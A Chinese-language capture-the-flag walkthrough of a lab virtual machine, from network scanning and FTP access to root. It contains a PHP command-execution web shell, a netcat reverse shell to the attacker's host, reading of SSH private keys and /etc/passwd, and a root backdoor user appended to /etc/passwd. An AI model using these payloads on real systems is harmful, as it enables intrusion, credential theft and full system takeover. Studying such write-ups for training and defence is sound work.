一、信息收集
步骤一:根据靶机描述得知该靶机的IP只能为192.168.2.120
将攻击机kali以及靶机均设为仅主机模式,并配置虚拟网络编辑器,设置静态IP:
步骤二:查看靶机的MAC地址
步骤三:查看MAC地址对应的目标主机
arp-scan -l
步骤四:使用nmap扫描开放的端口
nmap -sV -p- 192.168.2.120
步骤五:浏览器访问
步骤六:使用dirb进行目录扫描
dirb http://192.168.2.120/
无可利用信息
步骤七:回到靶机页面,右键检查
发现一组账号密码 logs zg]E-b0]+8:(58G
尝试ssh连接,发现连接失败,
再尝试ftp连接,发现连接成功
ls,发现一个backup_log.php文件
将文件下载到我们的本地系统后,我们使用 cat 命令在kali中打开该文件
get backup_log.php
cat backup_log.php
在网站路径上拼接/logs/,发现访问被拒绝
刚才ftp连接使用的用户是logs,那不妨试着在其后面拼接/backup_log.php看是否有信息
在端口 10001 上启动了一个 netcat 会话,我们得到了一个空白的 shell
nc -nv 192.168.2.120 10001
<?php system($_GET['cmd']) ?>
拼接?cmd=id,尝试运行 id命令,发现得到回复。这证明我们可以从这里运行命令。
反弹shell
设置监听(kali的ip)
nc -e /bin/sh 192.168.2.129 5555
反弹成功
建立交互式的shell:
python -c 'import pty; pty.spawn("/bin/sh")'
二、提权
cd /media/USB_1/Stuff/Keys
ls
cat authorized_keys #发现是hbeale用户
查看密钥文件
cat id_rsa
查看/etc/passwd文件验证,发现确实存在hbeale用户:
cat /etc/passwd
尝试用密钥文件登录:
ssh -i id_rsa hbeale@192.168.2.120
登录成功,但是低权限用户
利用不安全配置/etc/passwd可写进行提权:
创建root权限的新用户和密码,将自动生成的hash值加入/etc/passwd
echo 'newuser:$1$59A20eT6$fYXcPRE5u4QAz0uKJbivz.:0:0:root:/root:/bin/bash' >> /etc/passwd
su切换newuser用户
提权成功